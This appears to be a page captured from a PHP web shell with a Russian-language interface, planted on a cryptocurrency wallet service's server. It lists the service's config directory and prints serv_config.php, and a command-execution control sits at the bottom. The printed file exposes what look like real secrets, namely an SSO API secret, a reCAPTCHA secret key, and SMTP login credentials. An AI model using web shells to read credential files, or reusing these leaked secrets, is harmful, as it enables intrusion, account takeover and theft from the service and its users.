PHP WebShell

• .. (вверх)
• [DIR] ..
• [FILE] bitgo_config.php
• [FILE] bootstrap.php
• [FILE] db_config.php
• [FILE] serv_config.php
• [FILE] settings.php
• [FILE] tron_config.php

Просмотр файла: serv_config.php

<?php
/**
 * config/serv_config.php
 * Central environment + service config.
 * Safe to include multiple times (guards around define()).
 */

/* =========================
   Environment / DEV flags
   ========================= */
if (!defined('APP_ENV'))            define('APP_ENV', 'dev');   // dev | staging | prod
if (!defined('OTP_DEV_MODE'))       define('OTP_DEV_MODE', APP_ENV !== 'prod');
if (!defined('OTP_ALWAYS_SHOW_DEV'))define('OTP_ALWAYS_SHOW_DEV', APP_ENV !== 'prod');

/* =========================
   Session cookie hardening
   (used by config/bootstrap.php before session_start)
   ========================= */
if (!defined('SESSION_COOKIE_DOMAIN')) define('SESSION_COOKIE_DOMAIN', 'wallet.bitcardo.com'); // exact host
if (!defined('SESSION_COOKIE_PATH'))   define('SESSION_COOKIE_PATH', '/');
if (!defined('SESSION_SAMESITE'))      define('SESSION_SAMESITE', 'Lax');  // Lax is usually best for app flows
if (!defined('SESSION_SECURE'))        define('SESSION_SECURE', true);     // HTTPS only
if (!defined('SESSION_HTTPONLY'))      define('SESSION_HTTPONLY', true);

/* =========================
   Grupo SSO
   ========================= */
if (!defined('GRUPO_API_SECRET')) define('GRUPO_API_SECRET', 'nS0KiHg4rZVFYJ5ILj3'); // TODO: real secret in prod
// No trailing slash; include /chat if that is the app root
if (!defined('GRUPO_BASE_URL'))   define('GRUPO_BASE_URL', 'https://apps.bitcardo.net/chat');

/* =========================
   Google reCAPTCHA v2
   ========================= */
if (!defined('RECAPTCHA_SECRET'))   define('RECAPTCHA_SECRET', '6Lf4qEwrAAAAAO_OSKyBcGLPRtxy___IZMTLAwxP');
if (!defined('RECAPTCHA_SITE_KEY')) define('RECAPTCHA_SITE_KEY', '6Lf4qEwrAAAAAK_FFSjShu9YmY-iNHecBSCvYcOE');

/* =========================
   OTP / Security flags
   ========================= */
if (!defined('OTP_ENABLED'))                 define('OTP_ENABLED', true);
if (!defined('OTP_REQUIRE_ON_NEW_DEVICE'))   define('OTP_REQUIRE_ON_NEW_DEVICE', true);
if (!defined('OTP_TRUST_DAYS'))              define('OTP_TRUST_DAYS', 30);
if (!defined('OTP_MAX_ATTEMPTS'))            define('OTP_MAX_ATTEMPTS', 6);
if (!defined('OTP_WINDOW_SECONDS'))          define('OTP_WINDOW_SECONDS', 30);
// For UI feature gating; leave as JSON string (back-compat), or convert where needed
if (!defined('OTP_CHANNELS'))                define('OTP_CHANNELS', json_encode(['TOTP','EMAIL','SMS']));

/* =========================
   SMTP (Email OTP + system mail)
   ========================= */
// NOTE: TLS with port 587, SSL with port 465. Match your provider.
if (!defined('SMTP_HOST'))        define('SMTP_HOST', 'relay.mailbaby.net');
if (!defined('SMTP_PORT'))        define('SMTP_PORT', 587);
if (!defined('SMTP_USER'))        define('SMTP_USER', 'mb82616');
// (Removed stray tab if it was present in the original string)
if (!defined('SMTP_PASS'))        define('SMTP_PASS', 'nfg2WdHzYp24K5jh8ZVH');
if (!defined('SMTP_SECURE'))      define('SMTP_SECURE', 'tls'); // 'tls' or 'ssl'
if (!defined('SMTP_FROM_EMAIL'))  define('SMTP_FROM_EMAIL', 'no-reply@bitcardo.com');
if (!defined('SMTP_FROM_NAME'))   define('SMTP_FROM_NAME', 'Bitcardo');

// Back-compat aliases (some code expects SMTP_FROM / SMTP_FROM_NAME)
if (!defined('SMTP_FROM'))        define('SMTP_FROM', SMTP_FROM_EMAIL);
if (!defined('MAIL_DEBUG'))       define('MAIL_DEBUG', APP_ENV !== 'prod'); // used by lib/mailer.php

/* =========================
   SMS (Nigeria-first; placeholder)
   ========================= */
if (!defined('SMS_PROVIDER'))     define('SMS_PROVIDER', '');      // e.g. 'termii'
if (!defined('SMS_API_KEY'))      define('SMS_API_KEY', '');
if (!defined('SMS_SENDER'))       define('SMS_SENDER', 'Bitcardo'); // per provider policy

/* =========================
   End of file
   ========================= */

Выполнить команду